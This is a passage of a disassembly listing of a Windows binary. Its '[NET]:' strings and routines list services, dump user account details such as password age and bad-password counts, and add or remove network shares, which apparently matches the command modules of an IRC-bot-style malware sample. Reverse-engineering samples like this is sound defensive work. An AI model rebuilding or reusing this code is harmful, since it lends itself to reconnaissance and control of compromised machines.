loc_405D72:				; CODE XREF: sub_405C4B+32j
					; sub_405C4B+85j ...
		push	eax		; default
					; jumptable 00405D19 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_433860
		call	sub_412BB5
		add	esp, 0Ch


loc_405D85:				; CODE XREF: sub_405C4B+125j
		mov	eax, offset dword_433860
		retn
sub_405C4B	endp

; ---------------------------------------------------------------------------
off_405D8B	dd offset loc_405D35	; DATA XREF: sub_405C4B+CEr
		dd offset loc_405D3C	; jump table for switch	statement
		dd offset loc_405D51
		dd offset loc_405D58
		dd offset loc_405D20
		dd offset loc_405D2E
		dd offset loc_405D43
		dd offset loc_405D4A
		dd offset loc_405D27
		dd offset loc_405D72
byte_405DB3	db	0,     9,     1,     2 ; DATA XREF: sub_405C4B+C7r
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DC5	proc near		; CODE XREF: sub_4078FA+1C1Dp

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43355C
		push	ebx
		push	[ebp+arg_8]
		mov	[ebp+var_C], eax
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_405DFD:				; CODE XREF: sub_405DC5+123j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	168h
		lea	eax, [ebp+var_18C]
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43356C
		test	eax, eax
		jnz	short loc_405E37
		call	ds:dword_41F008
		cmp	eax, 0EAh
		jnz	loc_405EEE


loc_405E37:				; CODE XREF: sub_405DC5+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_405EE5
		lea	esi, [ebp+var_188]


loc_405E48:				; CODE XREF: sub_405DC5+11Aj
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_405E94
		dec	eax
		jz	short loc_405E8D
		dec	eax
		jz	short loc_405E86
		dec	eax
		jz	short loc_405E7F
		dec	eax
		jz	short loc_405E78
		dec	eax
		jz	short loc_405E71
		dec	eax
		lea	eax, [ebp+var_20]
		jz	short loc_405E6A
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_405E9C
; ---------------------------------------------------------------------------


loc_405E6A:				; CODE XREF: sub_405DC5+9Cj
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_405E9C
; ---------------------------------------------------------------------------


loc_405E71:				; CODE XREF: sub_405DC5+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_405E99
; ---------------------------------------------------------------------------


loc_405E78:				; CODE XREF: sub_405DC5+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_405E99
; ---------------------------------------------------------------------------


loc_405E7F:				; CODE XREF: sub_405DC5+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_405E99
; ---------------------------------------------------------------------------


loc_405E86:				; CODE XREF: sub_405DC5+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_405E99
; ---------------------------------------------------------------------------


loc_405E8D:				; CODE XREF: sub_405DC5+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_405E99
; ---------------------------------------------------------------------------


loc_405E94:				; CODE XREF: sub_405DC5+87j
		push	offset aStopped	; "    Stopped"


loc_405E99:				; CODE XREF: sub_405DC5+B1j
					; sub_405DC5+B8j ...
		lea	eax, [ebp+var_20]


loc_405E9C:				; CODE XREF: sub_405DC5+A3j
					; sub_405DC5+AAj
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		lea	eax, [ebp+var_20]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS_0	; "%s: %s (%s)"
		push	eax
		call	sub_412BB5
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_38C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_405E48


loc_405EE5:				; CODE XREF: sub_405DC5+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_405DFD


loc_405EEE:				; CODE XREF: sub_405DC5+6Cj
		push	[ebp+var_C]
		call	dword_4334D0
		xor	eax, eax
		cmp	eax, [ebp+var_4]
		pop	edi
		sbb	eax, eax
		pop	esi
		neg	eax
		pop	ebx
		leave
		retn
sub_405DC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_405F05	proc near		; CODE XREF: sub_405FC7+Ap
					; sub_405FC7+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_405F12
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_405F12:				; CODE XREF: sub_405F05+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_41F0A8
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_413A90
		pop	ecx
		push	edi
		mov	ebx, eax
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_405F05	endp


; =============== S U B	R O U T	I N E =======================================



sub_405F46	proc near		; CODE XREF: sub_40E9C5+248p

arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_20		= dword	ptr  24h

		mov	eax, offset loc_41E8BA
		call	sub_413EF4
		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_10],	esi
		jnz	short loc_405F5D
		xor	eax, eax
		jmp	short loc_405FB9
; ---------------------------------------------------------------------------


loc_405F5D:				; CODE XREF: sub_405F46+11j
		push	ebx
		push	ebp
		push	edi
		mov	edi, ds:dword_41F0AC
		push	esi
		push	esi
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[esp+24h+arg_10]
		mov	ebx, 400h
		push	ebx
		push	esi
		call	edi
		test	byte ptr dword_4338C0, 1
		mov	ebp, eax
		jnz	short loc_405F9E
		or	dword_4338C0, 1
		lea	eax, [ebp+1]
		push	eax
		mov	[esp+4+arg_14],	esi
		call	sub_413A90
		pop	ecx
		mov	dword_4338BC, eax


loc_405F9E:				; CODE XREF: sub_405F46+3Cj
		push	esi
		push	esi
		push	ebp
		push	dword_4338BC
		push	0FFFFFFFFh
		push	[esp+14h+arg_20]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4338BC
		pop	edi
		pop	ebp
		pop	ebx


loc_405FB9:				; CODE XREF: sub_405F46+15j
		mov	ecx, [esp+4]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_405F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FC7	proc near		; CODE XREF: sub_406702+6Cp
					; sub_40ECEC+18Fp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	edi
		push	[ebp+arg_0]
		call	sub_405F05
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_405F05
		push	24h
		push	[ebp+arg_4]
		mov	[ebp+var_24], eax
		call	sub_413F30
		push	[ebp+arg_8]
		neg	eax
		sbb	eax, eax
		and	[ebp+var_1C], 0
		or	[ebp+var_14], 0FFFFFFFFh
		and	[ebp+var_10], 0
		and	eax, 80000000h
		mov	[ebp+var_20], eax
		mov	[ebp+var_18], 7Fh
		call	sub_405F05
		and	[ebp+var_8], 0
		add	esp, 14h
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	2
		push	edi
		call	dword_433488
		pop	edi
		leave
		retn
sub_405FC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_406032	proc near		; CODE XREF: sub_406702+20p
					; sub_40E9C5+1BDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_405F05
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_405F05
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4334A4
		pop	esi
		retn
sub_406032	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406055	proc near		; CODE XREF: sub_4068DF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_405F05
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_405F05
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_405F05
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		add	esp, 0Ch
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	[ebp+var_20], eax
		xor	eax, eax
		lea	ecx, [ebp+var_24]
		inc	eax
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43346C
		pop	edi
		leave
		retn
sub_406055	endp


; =============== S U B	R O U T	I N E =======================================



sub_4060AF	proc near		; CODE XREF: sub_4068DF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_405F05
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_405F05
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_433568
		pop	esi
		retn
sub_4060AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060D0	proc near		; CODE XREF: sub_4068DF+2Dp

var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_405F05
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_405F05
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43348C
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	loc_40645D
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_406498
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_208]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_412BB5
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_208]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_208]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_208]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		mov	eax, [eax+10h]
		add	esp, 40h
		sub	eax, 0
		jz	short loc_4061E9
		dec	eax
		jz	short loc_4061E2
		dec	eax
		jz	short loc_4061DB
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061DB:				; CODE XREF: sub_4060D0+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061E2:				; CODE XREF: sub_4060D0+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061E9:				; CODE XREF: sub_4060D0+FCj
		mov	eax, offset aGuest ; "Guest"


loc_4061EE:				; CODE XREF: sub_4060D0+109j
					; sub_4060D0+110j ...
		push	eax
		lea	eax, [ebp+var_208]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_208]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_208]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_208]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_208]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_208]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_208]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_208]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_208]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_208]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_208]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_208]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_208]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_208]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_208]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_412BB5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4045DD
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_406489
; ---------------------------------------------------------------------------


loc_40645D:				; CODE XREF: sub_4060D0+35j
		push	eax
		lea	eax, [ebp+var_208]
		push	offset aNetUserInfoErr ; "[NET]: User info error: <%ld>"
		push	eax
		call	sub_412BB5
		push	0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4045DD
		add	esp, 20h


loc_406489:				; CODE XREF: sub_4060D0+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_406498
		push	[ebp+var_4]
		call	dword_4334D8


loc_406498:				; CODE XREF: sub_4060D0+40j
					; sub_4060D0+3BDj
		mov	eax, [ebp+var_8]
		pop	esi
		leave
		retn
sub_4060D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40649E	proc near		; CODE XREF: sub_4065CE+9Ep
					; sub_406702:loc_406742p ...
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40654C
		jz	loc_406545
		cmp	eax, 7Bh
		ja	short loc_406511
		jz	short loc_406507
		cmp	eax, 5
		jz	short loc_4064FD
		cmp	eax, 8
		jz	short loc_4064F3
		cmp	eax, 32h
		jz	short loc_4064E9
		cmp	eax, 35h
		jz	short loc_4064DF
		cmp	eax, 57h
		jnz	loc_40659B
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_4065BC
; ---------------------------------------------------------------------------


loc_4064DF:				; CODE XREF: sub_40649E+2Cj
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_4065BC
; ---------------------------------------------------------------------------


loc_4064E9:				; CODE XREF: sub_40649E+27j
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_4065BC
; ---------------------------------------------------------------------------


loc_4064F3:				; CODE XREF: sub_40649E+22j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_4065BC
; ---------------------------------------------------------------------------


loc_4064FD:				; CODE XREF: sub_40649E+1Dj
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_4065BC
; ---------------------------------------------------------------------------


loc_406507:				; CODE XREF: sub_40649E+18j
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_4065BC
; ---------------------------------------------------------------------------


loc_406511:				; CODE XREF: sub_40649E+16j
		sub	eax, 7Ch
		jz	short loc_40653E
		sub	eax, 7C8h
		jz	short loc_406537
		dec	eax
		jz	short loc_40652D
		dec	eax
		jnz	short loc_40659B
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_4065BC
; ---------------------------------------------------------------------------


loc_40652D:				; CODE XREF: sub_40649E+80j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_4065BC
; ---------------------------------------------------------------------------


loc_406537:				; CODE XREF: sub_40649E+7Dj
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_40653E:				; CODE XREF: sub_40649E+76j
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_406545:				; CODE XREF: sub_40649E+Dj
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_40654C:				; CODE XREF: sub_40649E+7j
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_406585
		jz	short loc_40657E
		sub	eax, 8ADh
		jz	short loc_4065B0
		dec	eax
		dec	eax
		jz	short loc_406577
		dec	eax
		jz	short loc_406570
		dec	eax
		dec	eax
		jnz	short loc_40659B
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_406570:				; CODE XREF: sub_40649E+C5j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_406577:				; CODE XREF: sub_40649E+C2j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_40657E:				; CODE XREF: sub_40649E+B7j
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_406585:				; CODE XREF: sub_40649E+B5j
		sub	eax, 8CAh
		jz	short loc_4065B7
		sub	eax, 17h
		jz	short loc_4065B0
		sub	eax, 25h
		jz	short loc_4065A9
		sub	eax, 29h
		jz	short loc_4065A2


loc_40659B:				; CODE XREF: sub_40649E+31j
					; sub_40649E+83j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_4065A2:				; CODE XREF: sub_40649E+FBj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_4065A9:				; CODE XREF: sub_40649E+F6j
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_4065B0:				; CODE XREF: sub_40649E+BEj
					; sub_40649E+F1j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_4065BC
; ---------------------------------------------------------------------------


loc_4065B7:				; CODE XREF: sub_40649E+ECj
		push	offset aNetworkConnect ; "Network connection not found."


loc_4065BC:				; CODE XREF: sub_40649E+3Cj
					; sub_40649E+46j ...
		push	offset dword_4338C8
		call	sub_412BB5
		pop	ecx
		pop	ecx
		mov	eax, offset dword_4338C8
		retn
sub_40649E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4065CE	proc near		; CODE XREF: sub_4078FA+1DEFp

var_71C		= byte ptr -71Ch
var_31C		= byte ptr -31Ch
var_10C		= byte ptr -10Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 71Ch
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_71C]
		push	eax
		call	sub_4140FA
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_10C]
		mov	esi, 108h
		push	eax
		mov	[ebp+var_4], esi
		call	ds:dword_41F0B0
		push	esi
		lea	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_4140FA
		lea	eax, [ebp+var_71C]
		push	eax
		call	sub_413FEE
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_71C]
		push	eax
		push	0
		lea	eax, [ebp+var_31C]
		push	eax
		push	0
		call	dword_4334B4
		test	eax, eax
		jnz	short loc_40665E
		push	offset aNetMessageSent ; "[NET]: Message sent successfully."
		mov	esi, offset dword_433928
		push	esi
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	short loc_406685
; ---------------------------------------------------------------------------


loc_40665E:				; CODE XREF: sub_4065CE+7Aj
		lea	ecx, [ebp+var_71C]
		push	ecx
		lea	ecx, [ebp+var_31C]
		push	ecx
		call	sub_40649E
		push	eax
		push	offset aNetSServerSMes ; "[NET]: %s <Server: %S> <Message: %S>"
		mov	esi, offset dword_433928
		push	esi
		call	sub_412BB5
		add	esp, 14h


loc_406685:				; CODE XREF: sub_4065CE+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4065CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40668A	proc near		; CODE XREF: sub_4078FA:loc_4094ECp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_4066E0
		push	0
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	dword_42A400[esi]
		push	edi
		push	eax
		call	sub_405BA9
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4066D2
		push	edi
		push	off_42A3FC[esi]
		push	offset aNetSServiceS_ ;	"[NET]:	%s service: '%s'."


loc_4066C2:				; CODE XREF: sub_40668A+54j
		mov	esi, offset dword_433B28
		push	esi
		call	sub_412BB5
		add	esp, 10h
		jmp	short loc_4066FD
; ---------------------------------------------------------------------------


loc_4066D2:				; CODE XREF: sub_40668A+2Aj
		call	sub_405C4B
		push	eax
		push	edi
		push	offset aNetErrorWithSe ; "[NET]: Error with service: '%s'. %s"
		jmp	short loc_4066C2
; ---------------------------------------------------------------------------


loc_4066E0:				; CODE XREF: sub_40668A+Cj
		lea	eax, [eax+eax*2]
		push	off_42A3F8[eax*4]
		mov	esi, offset dword_433B28
		push	offset aNetSNoServiceS ; "[NET]: %s: No	service	specified."
		push	esi
		call	sub_412BB5
		add	esp, 0Ch


loc_4066FD:				; CODE XREF: sub_40668A+46j
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_40668A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406702	proc near		; CODE XREF: sub_4078FA:loc_4095D0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40679A
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40672B
		dec	eax
		jnz	short loc_40677A
		push	edi
		push	0
		call	sub_406032
		pop	ecx
		pop	ecx
		jmp	short loc_406776
; ---------------------------------------------------------------------------


loc_40672B:				; CODE XREF: sub_406702+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_406768
		push	24h
		push	edi
		call	sub_413F30
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_406768
		push	57h
		pop	eax


loc_406742:				; CODE XREF: sub_406702+76j
		call	sub_40649E
		push	eax
		push	edi
		lea	eax, [esi+esi*2]
		push	off_42A3F8[eax*4]
		mov	esi, offset dword_433D28
		push	offset aNetSErrorWithS ; "[NET]: %s: Error with	share: '%s'. %s"
		push	esi
		call	sub_412BB5
		add	esp, 14h
		jmp	short loc_4067BA
; ---------------------------------------------------------------------------


loc_406768:				; CODE XREF: sub_406702+2Dj
					; sub_406702+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_405FC7
		add	esp, 0Ch


loc_406776:				; CODE XREF: sub_406702+27j
		test	eax, eax
		jnz	short loc_406742


loc_40677A:				; CODE XREF: sub_406702+1Bj
		push	edi
		lea	eax, [esi+esi*2]
		push	off_42A3FC[eax*4]
		mov	esi, offset dword_433D28
		push	offset aNetSShareS_ ; "[NET]: %s share:	'%s'."
		push	esi
		call	sub_412BB5
		add	esp, 10h
		jmp	short loc_4067BA
; ---------------------------------------------------------------------------


loc_40679A:				; CODE XREF: sub_406702+Aj
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+eax*2]
		push	off_42A3F8[eax*4]
		mov	esi, offset dword_433D28
		push	offset aNetSNoShareSpe ; "[NET]: %s: No	share specified."
		push	esi
		call	sub_412BB5
		add	esp, 0Ch


loc_4067BA:				; CODE XREF: sub_406702+64j
					; sub_406702+96j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn
sub_406702	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


